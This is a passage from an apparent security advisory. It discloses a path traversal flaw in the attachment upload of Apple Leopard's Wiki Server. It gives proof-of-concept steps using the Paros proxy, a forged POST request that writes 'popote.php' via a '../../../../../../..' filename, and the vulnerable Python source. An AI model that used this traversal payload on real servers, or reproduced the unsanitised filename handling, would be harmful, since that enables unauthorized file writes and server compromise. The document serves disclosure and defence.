Next, we show a Proof of Concept (PoC) attack to the Leopard's Wiki Server. It creates a file 'popote.php' at '/tmp/[xxxxx]/' where '[xxxxx]' are random hexa characters assigned to the file, as we have said. You can write on all the folders where user '_teamsserver', the user running the Wiki Server, has permissions. For example, to reproduce the attack using Paros proxy [3], follow these steps: - Check the web server is up. - Check you have a system user/password in the system, for example guest, and the log in. - Start editing a new post in your blog. - Start Paros proxy, go to Trap tab and enable Trap requests checkbox. - Start uploading your preferred file, for example popote.php. - In Paros, press Continue until you find the POST request. - Append '../../../../../../..' at the beginning of 'popote.php' plus your wished path, for example '/tmp/'. - Press Continue a couple of times to send the request. - If user '_teamsserver' has permissions on the wished folder, you will write file 'popote.php' inside subfolder '[xxxxx]', where [xxxxx] are hash/random hexa characters that depend on the file. There are several strategies that can be used in combination with a path traversal to gain complete control of the victim's server, although we will not discuss them here. An example forged request follows: /----------- POST http://192.168.xxx.xxx/users/guest/weblog/3f081/attachments HTTP/1.0 User-Agent: Opera/9.24 (Macintosh; Intel Mac OS X; U; en) Paros/3.2.13 Host: 192.168.xxx.xxx Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: en,ja;q=0.9,fr;q=0.8,de;q=0.7,es;q=0.6,it;q=0.5,nl;q=0.4,sv;q=0.3,nb;q=0.2,da;q=0.1,fi;q=0.1,pt;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1,ru;q=0.1,en;q=0.1 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: identity, *;q=0 Referer: http://192.168.xxx.xxx/users/guest/weblog/3f081/ Cookie: cookies=1; acl_cache=3; recentTags=add tags here; SQMSESSID=fe79c978b66bf3bf6d0c433abd6008a6; sessionID=75706E3C-FA5A-4535-85EA-0D69812D21D3; utcOffset=-3; uploadID=57904 Cookie2: $Version=1 Proxy-Connection: close Content-length: 426 Content-Type: multipart/form-data; boundary=----------YN7xkbcuNgNx21psG30p21 ------------YN7xkbcuNgNx21psG30p21 Content-Disposition: form-data; name="Attachment"; filename="../../../../../../../tmp/popote.php" Content-Type: application/octet-stream ------------YN7xkbcuNgNx21psG30p21 Content-Disposition: form-data; name="ok_button" Attach ------------YN7xkbcuNgNx21psG30p21 Content-Disposition: form-data; name="upload_id" 57904 ------------YN7xkbcuNgNx21psG30p21-- -----------/ The vulnerable code is located at '/usr/share/wikid/lib/python/apple_wlt/ContentServer.py': /----------- def uploadFileCallback(self, result): filename, filetype, aFile = result[1][self.type][0] filename = filename.decode('utf-8') filename = filename.split('\\')[-1] # IE sends the whole path, including your local username. extension = filename.split('.')[-1] oldFilename = filename uploadType = os.path.split(self.fullpath)[-1] if uploadType == "images": filename = SettingsManager.findGoodName() + '.' + extension logging.debug("beginning file upload: %s" % filename) isImage = filenameIsImage(filename) newPath = ImageUtilities.findUniqueFileName(os.path.join(self.fullpath, filename), isImage = (not uploadType == 'attachments')) newFilename = os.path.basename(newPath) if uploadType == "attachments": newParentFolder = os.path.dirname(newPath) os.mkdir(newParentFolder) newFilename = os.path.join(os.path.basename(newParentFolder), filename) [...] -----------/ The hash/random hexa characters used for the attachment subfolder are generated by code at '/usr/share/wikid/lib/python/apple_utilities/ImageUtilities.py': /----------- def findUniqueFileName(inPath, isImage = True): """Uniqueifies a file name, to avoid duplicates in images and attachments""" filename = os.path.basename(inPath) base, extension = os.path.splitext(filename) parent = os.path.dirname(inPath) aPath = '' mungedName = SettingsManager.findGoodName() if not isImage: #attachment, so make the minged name a subdirectory and put the file in that aPath = os.path.join(parent, mungedName, filename) while os.path.exists(aPath): mungedName = SettingsManager.findGoodName(mungedName) aPath = os.path.join(parent, mungedName, filename) else: aPath = os.path.join(parent, mungedName + extension) while os.path.exists(aPath): mungedName = SettingsManager.findGoodName(mungedName) aPath = os.path.join(parent, mungedName + extension) return aPath -----------/